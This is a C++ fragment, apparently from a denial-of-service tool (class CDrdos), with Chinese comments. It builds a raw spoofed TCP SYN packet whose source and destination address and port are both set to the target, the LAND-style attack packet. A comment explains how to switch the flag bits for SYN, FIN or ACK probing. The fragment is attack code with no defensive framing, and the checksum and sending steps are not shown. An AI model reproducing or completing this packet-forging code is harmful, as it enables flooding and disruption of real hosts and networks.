| void CDrdos::InitSynPacket()
{ //填充IP首部
memset((void *)&ipheader,0,sizeof(ipheader));
ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));
ipheader.tos=0;
ipheader.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
ipheader.ident=1;
ipheader.frag_and_flags=0x40;
ipheader.ttl=255; //最大
ipheader.proto=IPPROTO_TCP;
ipheader.checksum=0;
ipheader.sourceIP=inet_addr(m_target_ip);
ipheader.destIP=inet_addr(m_target_ip);
//填充TCP首部
memset((void *)&tcpheader,0,sizeof(tcpheader));
tcpheader.th_dport=htons(m_target_port);
tcpheader.th_sport=htons(m_target_port);
tcpheader.th_seq=htonl(rand());
tcpheader.th_ack=0;
tcpheader.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);
tcpheader.th_flag=2;
//syn 00000010,修改这里来实现不同的标志位探测,是SYN、是FIN,还是ACK探测
tcpheader.th_win=htons(512);
tcpheader.th_urp=0;
tcpheader.th_sum=0;
//填充TCP伪首部,用来计算TCP头部的效验和
memset((void *)&psdheader,0,sizeof(psdheader));
psdheader.saddr=ipheader.sourceIP;
psdheader.daddr=ipheader.destIP;
psdheader.mbz=0;
psdheader.ptcl=IPPROTO_TCP;
psdheader.tcpl=htons(sizeof(TCP_HEADER));
} |